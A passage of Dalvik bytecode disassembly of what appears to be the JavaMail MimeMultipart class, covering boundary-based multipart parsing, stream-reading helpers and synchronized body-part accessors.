00000066  move-object/from16      v0, p0
0000006A  iget-object             v6, v0, MimeMultipart->contentType:String
0000006E  invoke-direct           ContentType-><init>(String)V, v2, v6
00000074  const/4                 v6, 0x0
00000076  const-string            v7, "boundary"
0000007A  invoke-virtual          ContentType->getParameter(String)String, v2, v7
00000080  move-result-object      v2
00000082  if-eqz                  v2, :10C
:86
00000086  new-instance            v6, StringBuilder
0000008A  const-string            v7, "--"
0000008E  invoke-direct           StringBuilder-><init>(String)V, v6, v7
00000094  invoke-virtual          StringBuilder->append(String)StringBuilder, v6, v2
0000009A  move-result-object      v2
0000009C  invoke-virtual          StringBuilder->toString()String, v2
:A2
000000A2  move-result-object      v6
:A4
000000A4  new-instance            v18, LineInputStream
000000A8  move-object/from16      v0, v18
000000AC  invoke-direct           LineInputStream-><init>(InputStream)V, v0, v3
000000B2  const/4                 v2, 0x0
000000B4  const/4                 v7, 0x0
000000B6  move-object             v11, v2
:B8
000000B8  invoke-virtual/range    LineInputStream->readLine()String, v18 .. v18
000000BE  move-result-object      v2
000000C0  if-nez                  v2, :124
:C4
000000C4  if-nez                  v2, :1DA
:C8
000000C8  new-instance            v2, MessagingException
000000CC  const-string            v4, "Missing start boundary"
000000D0  invoke-direct           MessagingException-><init>(String)V, v2, v4
000000D6  throw                   v2
:D8
000000D8  move-exception          v2
:DA
000000DA  new-instance            v4, MessagingException
000000DE  const-string            v5, "IO Error"
000000E2  invoke-direct           MessagingException-><init>(String, Exception)V, v4, v5, v2
000000E8  throw                   v4
:EA
000000EA  move-exception          v2
:EC
000000EC  invoke-virtual          InputStream->close()V, v3
:F2
000000F2  throw                   v2
:F4
000000F4  move-exception          v2
000000F6  monitor-exit            p0
000000F8  throw                   v2
:FA
000000FA  move-exception          v2
:FC
000000FC  new-instance            v3, MessagingException
00000100  const-string            v4, "No inputstream from datasource"
00000104  invoke-direct           MessagingException-><init>(String, Exception)V, v3, v4, v2
0000010A  throw                   v3
:10C
0000010C  sget-boolean            v2, MimeMultipart->ignoreMissingBoundaryParameter:Z
00000110  if-nez                  v2, :A4
:114
00000114  new-instance            v2, MessagingException
00000118  const-string            v3, "Missing boundary parameter"
0000011C  invoke-direct           MessagingException-><init>(String)V, v2, v3
00000122  throw                   v2
:124
00000124  invoke-virtual          String->length()I, v2
0000012A  move-result             v8
0000012C  add-int/lit8            v8, v8, 0xFFFFFFFFFFFFFFFF
:130
00000130  if-gez                  v8, :19E
:134
00000134  const/4                 v12, 0x0
00000136  add-int/lit8            v8, v8, 0x1
0000013A  invoke-virtual          String->substring(I, I)String, v2, v12, v8
00000140  move-result-object      v2
00000142  if-eqz                  v6, :1BC
:146
00000146  invoke-virtual          String->equals(Object)Z, v2, v6
0000014C  move-result             v8
0000014E  if-nez                  v8, :C4
:152
00000152  invoke-virtual          String->length()I, v2
:158
00000158  move-result             v8
0000015A  if-lez                  v8, :B8
:15E
0000015E  if-nez                  v7, :172
:162
00000162  const-string            v7, "line.separator"
00000166  const-string            v8, "\n"
0000016A  invoke-static           System->getProperty(String, String)String, v7, v8
:170
00000170  move-result-object      v7
:172
00000172  if-nez                  v11, :68A
:176
00000176  new-instance            v8, StringBuffer
0000017A  invoke-virtual          String->length()I, v2
00000180  move-result             v11
00000182  add-int/lit8            v11, v11, 0x2
00000186  invoke-direct           StringBuffer-><init>(I)V, v8, v11
:18C
0000018C  invoke-virtual          StringBuffer->append(String)StringBuffer, v8, v2
00000192  move-result-object      v2
00000194  invoke-virtual          StringBuffer->append(String)StringBuffer, v2, v7
0000019A  move-object             v11, v8
0000019C  goto                    :B8
:19E
0000019E  invoke-virtual          String->charAt(I)C, v2, v8
000001A4  move-result             v12
000001A6  const/16                v13, 0x20
000001AA  if-eq                   v12, v13, :1B6
:1AE
000001AE  const/16                v13, 0x9
000001B2  if-ne                   v12, v13, :134
:1B6
000001B6  add-int/lit8            v8, v8, 0xFFFFFFFFFFFFFFFF
000001BA  goto                    :130
:1BC
000001BC  const-string            v8, "--"
000001C0  invoke-virtual          String->startsWith(String)Z, v2, v8
000001C6  move-result             v8
000001C8  if-eqz                  v8, :152
:1CC
000001CC  move-object             v6, v2
000001CE  goto/16                 :C4
:1D2
000001D2  move-exception          v7
000001D4  const-string            v7, "\n"
000001D8  goto                    :172
:1DA
000001DA  if-eqz                  v11, :1EE
:1DE
000001DE  invoke-virtual          StringBuffer->toString()String, v11
000001E4  move-result-object      v2
000001E6  move-object/from16      v0, p0
000001EA  iput-object             v2, v0, MimeMultipart->preamble:String
:1EE
000001EE  invoke-static           ASCIIUtility->getBytes(String)[B, v6
000001F4  move-result-object      v19
000001F6  move-object/from16      v0, v19
000001FA  array-length            v0, v0
000001FC  move/from16             v16, v0
00000200  const/16                v2, 0x100
00000204  new-array               v0, v2, [I
00000208  move-object/from16      v20, v0
0000020C  const/4                 v2, 0x0
:20E
0000020E  move/from16             v0, v16
00000212  if-lt                   v2, v0, :24E
:216
00000216  move/from16             v0, v16
0000021A  new-array               v0, v0, [I
0000021E  move-object/from16      v21, v0
00000222  move/from16             v6, v16
:226
00000226  if-gtz                  v6, :260
:22A
0000022A  add-int/lit8            v2, v16, 0xFFFFFFFFFFFFFFFF
0000022E  const/4                 v6, 0x1
00000230  aput                    v6, v21, v2
:234
00000234  const/4                 v8, 0x0
:236
00000236  if-eqz                  v8, :29C
:23A
0000023A  invoke-virtual          InputStream->close()V, v3
:240
00000240  const/4                 v2, 0x1
:242
00000242  move-object/from16      v0, p0
00000246  iput-boolean            v2, v0, MimeMultipart->parsed:Z
:24A
0000024A  goto/16                 :E
:24E
0000024E  aget-byte               v6, v19, v2
00000252  add-int/lit8            v7, v2, 0x1
00000256  aput                    v7, v20, v6
0000025A  add-int/lit8            v2, v2, 0x1
0000025E  goto                    :20E
:260
00000260  add-int/lit8            v2, v16, 0xFFFFFFFFFFFFFFFF
:264
00000264  if-ge                   v2, v6, :274
:268
00000268  if-gtz                  v2, :292
:26C
0000026C  add-int/lit8            v2, v6, 0xFFFFFFFFFFFFFFFF
00000270  move                    v6, v2
00000272  goto                    :226
:274
00000274  aget-byte               v7, v19, v2
00000278  sub-int                 v8, v2, v6
0000027C  aget-byte               v8, v19, v8
00000280  if-ne                   v7, v8, :26C
:284
00000284  add-int/lit8            v7, v2, 0xFFFFFFFFFFFFFFFF
00000288  aput                    v6, v21, v7
0000028C  add-int/lit8            v2, v2, 0xFFFFFFFFFFFFFFFF
00000290  goto                    :264
:292
00000292  add-int/lit8            v2, v2, 0xFFFFFFFFFFFFFFFF
00000296  aput                    v6, v21, v2
0000029A  goto                    :268
:29C
0000029C  const/4                 v2, 0x0
0000029E  if-eqz                  v17, :2EA
:2A2
000002A2  invoke-interface/range  SharedInputStream->getPosition()J, v17 .. v17
000002A8  move-result-wide        v4
:2AA
000002AA  invoke-virtual/range    LineInputStream->readLine()String, v18 .. v18
000002B0  move-result-object      v6
000002B2  if-eqz                  v6, :2C2
:2B6
000002B6  invoke-virtual          String->length()I, v6
000002BC  move-result             v7
000002BE  if-gtz                  v7, :2AA
:2C2
000002C2  if-nez                  v6, :682
:2C6
000002C6  sget-boolean            v2, MimeMultipart->ignoreMissingEndBoundary:Z
000002CA  if-nez                  v2, :2DE
:2CE
000002CE  new-instance            v2, MessagingException
000002D2  const-string            v4, "missing multipart end boundary"
000002D6  invoke-direct           MessagingException-><init>(String)V, v2, v4
000002DC  throw                   v2
:2DE
000002DE  const/4                 v2, 0x0
000002E0  move-object/from16      v0, p0
000002E4  iput-boolean            v2, v0, MimeMultipart->complete:Z
000002E8  goto                    :23A
:2EA
000002EA  move-object/from16      v0, p0
000002EE  invoke-virtual          MimeMultipart->createInternetHeaders(InputStream)InternetHeaders, v0, v3
000002F4  move-result-object      v2
000002F6  move-object             v13, v2
000002F8  move-wide               v14, v4
:2FA
000002FA  invoke-virtual          InputStream->markSupported()Z, v3
00000300  move-result             v2
00000302  if-nez                  v2, :316
:306
00000306  new-instance            v2, MessagingException
0000030A  const-string            v4, "Stream doesn\'t support mark"
0000030E  invoke-direct           MessagingException-><init>(String)V, v2, v4
00000314  throw                   v2
:316
00000316  const/4                 v2, 0x0
00000318  if-nez                  v17, :380
:31C
0000031C  new-instance            v2, ByteArrayOutputStream
00000320  invoke-direct           ByteArrayOutputStream-><init>()V, v2
00000326  move-object             v12, v2
:328
00000328  move/from16             v0, v16
0000032C  new-array               v7, v0, [B
00000330  move/from16             v0, v16
00000334  new-array               v6, v0, [B
00000338  const/4                 v4, 0x0
0000033A  const/4                 v2, 0x1
0000033C  move                    v11, v4
0000033E  move-wide               v4, v9
00000340  move                    v9, v2
:342
00000342  add-int/lit8            v2, v16, 0x4
00000346  add-int/lit16           v2, v2, 0x3E8
0000034A  invoke-virtual          InputStream->mark(I)V, v3, v2
00000350  const/4                 v2, 0x0
00000352  const/4                 v10, 0x0
00000354  move/from16             v0, v16
00000358  invoke-static           MimeMultipart->readFully(InputStream, [B, I, I)I, v3, v7, v10, v0
0000035E  move-result             v10
00000360  move/from16             v0, v16
00000364  if-ge                   v10, v0, :3E0
:368
00000368  sget-boolean            v8, MimeMultipart->ignoreMissingEndBoundary:Z
0000036C  if-nez                  v8, :38C
:370
00000370  new-instance            v2, MessagingException
00000374  const-string            v4, "missing multipart end boundary"
00000378  invoke-direct           MessagingException-><init>(String)V, v2, v4
0000037E  throw                   v2
:380
00000380  invoke-interface/range  SharedInputStream->getPosition()J, v17 .. v17
00000386  move-result-wide        v9
00000388  move-object             v12, v2
0000038A  goto                    :328
:38C
0000038C  if-eqz                  v17, :67C
:390
00000390  invoke-interface/range  SharedInputStream->getPosition()J, v17 .. v17
00000396  move-result-wide        v8
:398
00000398  const/4                 v4, 0x0
0000039A  move-object/from16      v0, p0
0000039E  iput-boolean            v4, v0, MimeMultipart->complete:Z
000003A2  const/4                 v4, 0x1
:3A4
000003A4  if-eqz                  v17, :618
:3A8
000003A8  move-object/from16      v0, v17
000003AC  invoke-interface        SharedInputStream->newStream(J, J)InputStream, v0, v14, v15, v8, v9
000003B2  move-result-object      v2
000003B4  move-object/from16      v0, p0
000003B8  invoke-virtual          MimeMultipart->createMimeBodyPart(InputStream)MimeBodyPart, v0, v2
000003BE  move-result-object      v2
:3C0
000003C0  move-object/from16      v0, p0
000003C4  invoke-super            Multipart->addBodyPart(BodyPart)V, v0, v2
000003CA  move/from16             v24, v4
000003CE  move-wide               v4, v14
000003D0  move-wide/from16        v25, v8
000003D4  move-wide/from16        v9, v25
000003D8  move/from16             v8, v24
000003DC  goto/16                 :236
:3E0
000003E0  add-int/lit8            v2, v16, 0xFFFFFFFFFFFFFFFF
:3E4
000003E4  if-gez                  v2, :4C4
:3E8
000003E8  if-gez                  v2, :676
:3EC
000003EC  const/4                 v2, 0x0
000003EE  if-nez                  v9, :452
:3F2
000003F2  add-int/lit8            v22, v11, 0xFFFFFFFFFFFFFFFF
000003F6  aget-byte               v22, v6, v22
000003FA  const/16                v23, 0xD
000003FE  move/from16             v0, v22
00000402  move/from16             v1, v23
00000406  if-eq                   v0, v1, :41A
:40A
0000040A  const/16                v23, 0xA
0000040E  move/from16             v0, v22
00000412  move/from16             v1, v23
00000416  if-ne                   v0, v1, :452
:41A
0000041A  const/4                 v2, 0x1
0000041C  const/16                v23, 0xA
00000420  move/from16             v0, v22
00000424  move/from16             v1, v23
00000428  if-ne                   v0, v1, :452
:42C
0000042C  const/16                v22, 0x2
00000430  move/from16             v0, v22
00000434  if-lt                   v11, v0, :452
:438
00000438  add-int/lit8            v22, v11, 0xFFFFFFFFFFFFFFFE
0000043C  aget-byte               v22, v6, v22
00000440  const/16                v23, 0xD
00000444  move/from16             v0, v22
00000448  move/from16             v1, v23
0000044C  if-ne                   v0, v1, :452
:450
00000450  const/4                 v2, 0x2
:452
00000452  if-nez                  v9, :45A
:456
00000456  if-lez                  v2, :554
:45A
0000045A  if-eqz                  v17, :47E
:45E
0000045E  invoke-interface/range  SharedInputStream->getPosition()J, v17 .. v17
00000464  move-result-wide        v4
00000466  move/from16             v0, v16
0000046A  int-to-long             v0, v0
0000046C  move-wide/from16        v22, v0
00000470  sub-long                v4, v4, v22
00000474  int-to-long             v0, v2
00000476  move-wide/from16        v22, v0
0000047A  sub-long                v4, v4, v22
:47E
0000047E  invoke-virtual          InputStream->read()I, v3
00000484  move-result             v9
00000486  const/16                v22, 0x2D
0000048A  move/from16             v0, v22
0000048E  if-ne                   v9, v0, :4E6
:492
00000492  invoke-virtual          InputStream->read()I, v3
00000498  move-result             v22
0000049A  const/16                v23, 0x2D
0000049E  move/from16             v0, v22
000004A2  move/from16             v1, v23
000004A6  if-ne                   v0, v1, :4E6
:4AA
000004AA  const/4                 v8, 0x1
000004AC  move-object/from16      v0, p0
000004B0  iput-boolean            v8, v0, MimeMultipart->complete:Z
000004B4  const/4                 v8, 0x1
000004B6  move/from16             v24, v8
000004BA  move-wide               v8, v4
000004BC  move/from16             v4, v24
000004C0  goto/16                 :3A4
:4C4
000004C4  aget-byte               v22, v7, v2
000004C8  aget-byte               v23, v19, v2
000004CC  move/from16             v0, v22
000004D0  move/from16             v1, v23
000004D4  if-ne                   v0, v1, :3E8
:4D8
000004D8  add-int/lit8            v2, v2, 0xFFFFFFFFFFFFFFFF
000004DC  goto                    :3E4
:4DE
000004DE  invoke-virtual          InputStream->read()I, v3
000004E4  move-result             v9
:4E6
000004E6  const/16                v22, 0x20
000004EA  move/from16             v0, v22
000004EE  if-eq                   v9, v0, :4DE
:4F2
000004F2  const/16                v22, 0x9
000004F6  move/from16             v0, v22
000004FA  if-eq                   v9, v0, :4DE
:4FE
000004FE  const/16                v22, 0xA
00000502  move/from16             v0, v22
00000506  if-ne                   v9, v0, :518
:50A
0000050A  move/from16             v24, v8
0000050E  move-wide               v8, v4
00000510  move/from16             v4, v24
00000514  goto/16                 :3A4
:518
00000518  const/16                v22, 0xD
0000051C  move/from16             v0, v22
00000520  if-ne                   v9, v0, :554
:524
00000524  const/4                 v9, 0x1
00000526  invoke-virtual          InputStream->mark(I)V, v3, v9
0000052C  invoke-virtual          InputStream->read()I, v3
00000532  move-result             v9
00000534  const/16                v22, 0xA
00000538  move/from16             v0, v22
0000053C  if-eq                   v9, v0, :668
:540
00000540  invoke-virtual          InputStream->reset()V, v3
00000546  move/from16             v24, v8
0000054A  move-wide               v8, v4
0000054C  move/from16             v4, v24
00000550  goto/16                 :3A4
:554
00000554  const/4                 v2, 0x0
00000556  move-wide               v9, v4
:558
00000558  add-int/lit8            v4, v2, 0x1
0000055C  aget-byte               v5, v7, v2
00000560  and-int/lit8            v5, v5, 0x7F
00000564  aget                    v5, v20, v5
00000568  sub-int/2addr           v4, v5
0000056A  aget                    v2, v21, v2
0000056E  invoke-static           Math->max(I, I)I, v4, v2
00000574  move-result             v2
00000576  const/4                 v4, 0x2
00000578  if-ge                   v2, v4, :5F0
:57C
0000057C  if-nez                  v17, :592
:580
00000580  const/4                 v2, 0x1
00000582  if-le                   v11, v2, :592
:586
00000586  const/4                 v2, 0x0
00000588  add-int/lit8            v4, v11, 0xFFFFFFFFFFFFFFFF
0000058C  invoke-virtual          ByteArrayOutputStream->write([B, I, I)V, v12, v6, v2, v4
:592
00000592  invoke-virtual          InputStream->reset()V, v3
00000598  const-wide/16           v4, 0x1
0000059C  move-object/from16      v0, p0
000005A0  invoke-direct           MimeMultipart->skipFully(InputStream, J)V, v0, v3, v4, v5
000005A6  const/4                 v2, 0x1
000005A8  if-lt                   v11, v2, :5DE
:5AC
000005AC  const/4                 v2, 0x0
000005AE  add-int/lit8            v4, v11, 0xFFFFFFFFFFFFFFFF
000005B2  aget-byte               v4, v6, v4
000005B6  aput-byte               v4, v6, v2
000005BA  const/4                 v2, 0x1
000005BC  const/4                 v4, 0x0
000005BE  aget-byte               v4, v7, v4
000005C2  aput-byte               v4, v6, v2
000005C6  const/4                 v2, 0x2
000005C8  move-object             v4, v6
:5CA
000005CA  const/4                 v5, 0x0
000005CC  move                    v11, v2
000005CE  move-object             v6, v4
000005D0  move/from16             v24, v5
000005D4  move-wide               v4, v9
000005D6  move/from16             v9, v24
000005DA  goto/16                 :342
:5DE
000005DE  const/4                 v2, 0x0
000005E0  const/4                 v4, 0x0
000005E2  aget-byte               v4, v7, v4
000005E6  aput-byte               v4, v6, v2
000005EA  const/4                 v2, 0x1
000005EC  move-object             v4, v6
000005EE  goto                    :5CA
:5F0
000005F0  if-lez                  v11, :600
:5F4
000005F4  if-nez                  v17, :600
:5F8
000005F8  const/4                 v4, 0x0
000005FA  invoke-virtual          ByteArrayOutputStream->write([B, I, I)V, v12, v6, v4, v11
:600
00000600  invoke-virtual          InputStream->reset()V, v3
00000606  int-to-long             v4, v2
00000608  move-object/from16      v0, p0
0000060C  invoke-direct           MimeMultipart->skipFully(InputStream, J)V, v0, v3, v4, v5
00000612  move-object             v4, v7
00000614  move-object             v7, v6
00000616  goto                    :5CA
:618
00000618  sub-int                 v5, v11, v2
0000061C  if-lez                  v5, :62C
:620
00000620  const/4                 v5, 0x0
00000622  sub-int                 v2, v11, v2
00000626  invoke-virtual          ByteArrayOutputStream->write([B, I, I)V, v12, v6, v5, v2
:62C
0000062C  move-object/from16      v0, p0
00000630  iget-boolean            v2, v0, MimeMultipart->complete:Z
00000634  if-nez                  v2, :644
:638
00000638  if-lez                  v10, :644
:63C
0000063C  const/4                 v2, 0x0
0000063E  invoke-virtual          ByteArrayOutputStream->write([B, I, I)V, v12, v7, v2, v10
:644
00000644  invoke-virtual          ByteArrayOutputStream->toByteArray()[B, v12
0000064A  move-result-object      v2
0000064C  move-object/from16      v0, p0
00000650  invoke-virtual          MimeMultipart->createMimeBodyPart(InternetHeaders, [B)MimeBodyPart, v0, v13, v2
:656
00000656  move-result-object      v2
00000658  goto/16                 :3C0
:65C
0000065C  move-exception          v3
0000065E  goto/16                 :F2
:662
00000662  move-exception          v2
00000664  goto/16                 :240
:668
00000668  move/from16             v24, v8
0000066C  move-wide               v8, v4
0000066E  move/from16             v4, v24
00000672  goto/16                 :3A4
:676
00000676  move-wide               v9, v4
00000678  goto/16                 :558
:67C
0000067C  move-wide               v8, v4
0000067E  goto/16                 :398
:682
00000682  move-object             v13, v2
00000684  move-wide               v14, v4
00000686  goto/16                 :2FA
:68A
0000068A  move-object             v8, v11
0000068C  goto/16                 :18C
:690
00000690  move-object/from16      v17, v2
00000694  goto/16                 :62
:698
00000698  move-object             v3, v6
0000069A  goto/16                 :4E
          .catchall {:2 .. :A} :F4
          .catch Exception {:1C .. :4E} :FA
          .catchall {:1C .. :4E} :F4
          .catchall {:4E .. :A2} :F4
          .catch IOException {:A4 .. :D8} :D8
          .catchall {:A4 .. :D8} :EA
          .catchall {:DA .. :EA} :EA
          .catch IOException {:EC .. :F2} :65C
          .catchall {:EC .. :F2} :F4
          .catchall {:F2 .. :F4} :F4
          .catchall {:FC .. :124} :F4
          .catch IOException {:124 .. :158} :D8
          .catchall {:124 .. :158} :EA
          .catch SecurityException {:162 .. :170} :1D2
          .catch IOException {:162 .. :170} :D8
          .catchall {:162 .. :170} :EA
          .catch IOException {:176 .. :234} :D8
          .catchall {:176 .. :234} :EA
          .catch IOException {:23A .. :240} :662
          .catchall {:23A .. :240} :F4
          .catchall {:242 .. :24A} :F4
          .catch IOException {:24E .. :656} :D8
          .catchall {:24E .. :656} :EA
.end method

.method private static readFully(InputStream, [B, I, I)I
          .registers 6
00000000  const/4                 v0, 0x0
00000002  if-nez                  p3, :22
:6
00000006  return                  v0
:8
00000008  invoke-virtual          InputStream->read([B, I, I)I, p0, p1, p2, p3
0000000E  move-result             v1
00000010  if-gtz                  v1, :1C
:14
00000014  if-gtz                  v0, :6
:18
00000018  const/4                 v0, 0xFFFFFFFFFFFFFFFF
0000001A  goto                    :6
:1C
0000001C  add-int/2addr           p2, v1
0000001E  add-int/2addr           v0, v1
00000020  sub-int/2addr           p3, v1
:22
00000022  if-gtz                  p3, :8
:26
00000026  goto                    :14
.end method

.method private skipFully(InputStream, J)V
          .registers 9
00000000  const-wide/16           v3, 0x0
:4
00000004  cmp-long                v0, p2, v3
00000008  if-gtz                  v0, :E
:C
0000000C  return-void
:E
0000000E  invoke-virtual          InputStream->skip(J)J, p1, p2, p3
00000014  move-result-wide        v0
00000016  cmp-long                v2, v0, v3
0000001A  if-gtz                  v2, :2E
:1E
0000001E  new-instance            v0, EOFException
00000022  const-string            v1, "can\'t skip"
00000026  invoke-direct           EOFException-><init>(String)V, v0, v1
0000002C  throw                   v0
:2E
0000002E  sub-long/2addr          p2, v0
00000030  goto                    :4
.end method

.method public declared-synchronized addBodyPart(BodyPart)V
          .registers 3
00000000  monitor-enter           p0
:2
00000002  invoke-virtual          MimeMultipart->parse()V, p0
00000008  invoke-super            Multipart->addBodyPart(BodyPart)V, p0, p1
:E
0000000E  monitor-exit            p0
00000010  return-void
:12
00000012  move-exception          v0
00000014  monitor-exit            p0
00000016  throw                   v0
          .catchall {:2 .. :E} :12
.end method

.method public declared-synchronized addBodyPart(BodyPart, I)V
          .registers 4
00000000  monitor-enter           p0
:2
00000002  invoke-virtual          MimeMultipart->parse()V, p0
00000008  invoke-super            Multipart->addBodyPart(BodyPart, I)V, p0, p1, p2
:E
0000000E  monitor-exit            p0
00000010  return-void
:12
00000012  move-exception          v0
00000014  monitor-exit            p0
00000016  throw                   v0
          .catchall {:2 .. :E} :12
.end method

.method protected createInternetHeaders(InputStream)InternetHeaders
          .registers 3
00000000  new-instance            v0, InternetHeaders
00000004  invoke-direct           InternetHeaders-><init>(InputStream)V, v0, p1
0000000A  return-object           v0
.end method

.method protected createMimeBodyPart(InputStream)MimeBodyPart
          .registers 3
00000000  new-instance            v0, MimeBodyPart
00000004  invoke-direct           MimeBodyPart-><init>(InputStream)V, v0, p1
0000000A  return-object           v0
.end method

.method protected createMimeBodyPart(InternetHeaders, [B)MimeBodyPart
          .registers 4
00000000  new-instance            v0, MimeBodyPart
00000004  invoke-direct           MimeBodyPart-><init>(InternetHeaders, [B)V, v0, p1, p2
0000000A  return-object           v0
.end method

.method public declared-synchronized getBodyPart(I)BodyPart
          .registers 3
00000000  monitor-enter           p0
:2
00000002  invoke-virtual          MimeMultipart->parse()V, p0
00000008  invoke-super            Multipart->getBodyPart(I)BodyPart, p0, p1
:E
0000000E  move-result-object      v0
00000010  monitor-exit            p0
00000012  return-object           v0
:14
00000014  move-exception          v0
00000016  monitor-exit            p0
00000018  throw                   v0
          .catchall {:2 .. :E} :14
.end method

.method public declared-synchronized getBodyPart(String)BodyPart
          .registers 6
00000000  monitor-enter           p0
:2
00000002  invoke-virtual          MimeMultipart->parse()V, p0
00000008  invoke-virtual          MimeMultipart->getCount()I, p0
:E
0000000E  move-result             v2
00000010  const/4                 v0, 0x0
00000012  move                    v1, v0
:14
00000014  if-lt                   v1, v2, :1E
:18
00000018  const/4                 v0, 0x0
:1A
0000001A  monitor-exit            p0
0000001C  return-object           v0
:1E
0000001E  invoke-virtual          MimeMultipart->getBodyPart(I)BodyPart, p0, v1
00000024  move-result-object      v0
00000026  check-cast              v0, MimeBodyPart
0000002A  invoke-virtual          MimeBodyPart->getContentID()String, v0
00000030  move-result-object      v3
00000032  if-eqz                  v3, :42
:36
00000036  invoke-virtual          String->equals(Object)Z, v3, p1
:3C
0000003C  move-result             v3
0000003E  if-nez                  v3, :1A
:42
00000042  add-int/lit8            v0, v1, 0x1
00000046  move                    v1, v0
00000048  goto                    :14
:4A
0000004A  move-exception          v0
0000004C  monitor-exit            p0
0000004E  throw                   v0
          .catchall {:2 .. :E} :4A
          .catchall {:1E .. :3C} :4A
.end method

.method public declared-synchronized getCount()I
          .registers 2
00000000  monitor-enter           p0
:2
00000002  invoke-virtual          MimeMultipart->parse()V, p0
00000008  invoke-super            Multipart->getCount()I, p0
:E
0000000E  move-result             v0
00000010  monitor-exit            p0
00000012  return                  v0
:14
00000014  move-exception          v0
00000016  monitor-exit            p0
00000018  throw                   v0
          .catchall {:2 .. :E} :14
.end method

.method public declared-synchronized getPreamble()String
          .registers 2
00000000  monitor-enter           p0
:2
00000002  invoke-virtual          MimeMultipart->parse()V, p0
00000008  iget-object             v0, p0, MimeMultipart->preamble:String
:C
0000000C  monitor-exit            p0
0000000E  return-object           v0
:10
00000010  move-exception          v0
00000012  monitor-exit            p0
00000014  throw                   v0
          .catchall {:2 .. :C} :10
.end method

.method public declared-synchronized isComplete()Z
          .registers 2
00000000  monitor-enter           p0
:2
00000002  invoke-virtual          MimeMultipart->parse()V, p0
00000008  iget-boolean            v0, p0, MimeMultipart->complete:Z
:C
0000000C  monitor-exit            p0
0000000E  return                  v0
:10
00000010  move-exception          v0
00000012  monitor-exit            p0
00000014  throw                   v0
          .catchall {:2 .. :C} :10
.end method

.method protected declared-synchronized parse()V
          .registers 21
00000000  monitor-enter           p0
:2
00000002  move-object/from16      v0, p0
00000006  iget-boolean            v1, v0, MimeMultipart->parsed:Z
:A
0000000A  if-eqz                  v1, :12
:E
0000000E  monitor-exit            p0
00000010  return-void
:12
00000012  sget-boolean            v1, MimeMultipart->bmparse:Z
00000016  if-eqz                  v1, :28
:1A
0000001A  invoke-direct/range     MimeMultipart->parsebm()V, v20 .. v20
:20
00000020  goto                    :E
:22
00000022  move-exception          v1
00000024  monitor-exit            p0
00000026  throw                   v1
:28
00000028  const/4                 v1, 0x0
0000002A  const-wide/16           v6, 0x0
0000002E  const-wide/16           v3, 0x0
:32
00000032  move-object/from16      v0, p0
00000036  iget-object             v2, v0, MimeMultipart->ds:DataSource
0000003A  invoke-interface        DataSource->getInputStream()InputStream, v2
00000040  move-result-object      v5
00000042  instance-of             v2, v5, ByteArrayInputStream
00000046  if-nez                  v2, :4F6
:4A
0000004A  instance-of             v2, v5, BufferedInputStream
0000004E  if-nez                  v2, :4F6
:52
00000052  instance-of             v2, v5, SharedInputStream
00000056  if-nez                  v2, :4F6
:5A
0000005A  new-instance            v2, BufferedInputStream
0000005E  invoke-direct           BufferedInputStream-><init>(InputStream)V, v2, v5
:64
00000064  instance-of             v5, v2, SharedInputStream
00000068  if-eqz                  v5, :4F0
:6C
0000006C  move-object             v0, v2
0000006E  check-cast              v0, SharedInputStream
00000072  move-object             v1, v0
00000074  move-object             v14, v1
:76
00000076  new-instance            v1, ContentType
0000007A  move-object/from16      v0, p0
0000007E  iget-object             v5, v0, MimeMultipart->contentType:String
00000082  invoke-direct           ContentType-><init>(String)V, v1, v5
00000088  const/4                 v5, 0x0
0000008A  const-string            v8, "boundary"
0000008E  invoke-virtual          ContentType->getParameter(String)String, v1, v8
00000094  move-result-object      v1
00000096  if-eqz                  v1, :116
:9A
0000009A  new-instance            v5, StringBuilder
0000009E  const-string            v8, "--"
000000A2  invoke-direct           StringBuilder-><init>(String)V, v5, v8
000000A8  invoke-virtual          StringBuilder->append(String)StringBuilder, v5, v1
000000AE  move-result-object      v1
000000B0  invoke-virtual          StringBuilder->toString()String, v1
:B6
000000B6  move-result-object      v5
:B8
000000B8  new-instance            v15, LineInputStream
000000BC  invoke-direct           LineInputStream-><init>(InputStream)V, v15, v2
000000C2  const/4                 v1, 0x0
000000C4  const/4                 v8, 0x0
000000C6  move-object             v10, v1
:C8
000000C8  invoke-virtual          LineInputStream->readLine()String, v15
000000CE  move-result-object      v1
000000D0  if-nez                  v1, :12E
:D4
000000D4  if-nez                  v1, :1E4
:D8
000000D8  new-instance            v1, MessagingException
000000DC  const-string            v3, "Missing start boundary"
000000E0  invoke-direct           MessagingException-><init>(String)V, v1, v3
000000E6  throw                   v1
:E8
000000E8  move-exception          v1
:EA
000000EA  new-instance            v3, MessagingException
000000EE  const-string            v4, "IO Error"
000000F2  invoke-direct           MessagingException-><init>(String, Exception)V, v3, v4, v1
000000F8  throw                   v3
:FA
000000FA  move-exception          v1
:FC
000000FC  invoke-virtual          InputStream->close()V, v2
:102
00000102  throw                   v1
:104
00000104  move-exception          v1
00000106  new-instance            v2, MessagingException
0000010A  const-string            v3, "No inputstream from datasource"
0000010E  invoke-direct           MessagingException-><init>(String, Exception)V, v2, v3, v1
00000114  throw                   v2
:116
00000116  sget-boolean            v1, MimeMultipart->ignoreMissingBoundaryParameter:Z
0000011A  if-nez                  v1, :B8
:11E
0000011E  new-instance            v1, MessagingException
00000122  const-string            v2, "Missing boundary parameter"
00000126  invoke-direct           MessagingException-><init>(String)V, v1, v2
0000012C  throw                   v1
:12E
0000012E  invoke-virtual          String->length()I, v1
00000134  move-result             v9
00000136  add-int/lit8            v9, v9, 0xFFFFFFFFFFFFFFFF
:13A
0000013A  if-gez                  v9, :1A8
:13E
0000013E  const/4                 v11, 0x0
00000140  add-int/lit8            v9, v9, 0x1
00000144  invoke-virtual          String->substring(I, I)String, v1, v11, v9
0000014A  move-result-object      v1
0000014C  if-eqz                  v5, :1C6
:150
00000150  invoke-virtual          String->equals(Object)Z, v1, v5
00000156  move-result             v9
00000158  if-nez                  v9, :D4
:15C
0000015C  invoke-virtual          String->length()I, v1
:162
00000162  move-result             v9
00000164  if-lez                  v9, :C8
:168
00000168  if-nez                  v8, :17C
:16C
0000016C  const-string            v8, "line.separator"
00000170  const-string            v9, "\n"
00000174  invoke-static           System->getProperty(String, String)String, v8, v9
:17A
0000017A  move-result-object      v8
:17C
0000017C  if-nez                  v10, :4EA
:180
00000180  new-instance            v9, StringBuffer
00000184  invoke-virtual          String->length()I, v1
0000018A  move-result             v10
0000018C  add-int/lit8            v10, v10, 0x2
00000190  invoke-direct           StringBuffer-><init>(I)V, v9, v10
:196
00000196  invoke-virtual          StringBuffer->append(String)StringBuffer, v9, v1
0000019C  move-result-object      v1
0000019E  invoke-virtual          StringBuffer->append(String)StringBuffer, v1, v8
000001A4  move-object             v10, v9
000001A6  goto                    :C8
:1A8
